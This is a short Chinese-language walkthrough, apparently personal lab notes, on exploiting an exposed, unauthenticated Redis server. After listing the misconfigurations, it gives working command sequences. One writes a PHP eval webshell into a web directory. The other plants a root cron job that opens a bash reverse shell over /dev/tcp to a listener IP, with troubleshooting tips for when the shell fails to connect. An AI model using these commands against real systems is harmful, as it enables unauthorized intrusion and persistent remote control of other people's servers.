原因:
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(一般为空)或者设置弱口令密码,导致任何用户可以远程登录redis服务。
- redis低版本,高版本会默认开启保护机制
一、写入webshell
config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存
查看写入成功
二、反弹shell
redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
查看写入成功,但是没有反弹
第一、可能需要启动cron
第二、写入有乱码,centos会忽略乱码,但是ubuntu和debian不会
第三、root文件需要600权限,也就是-rw------------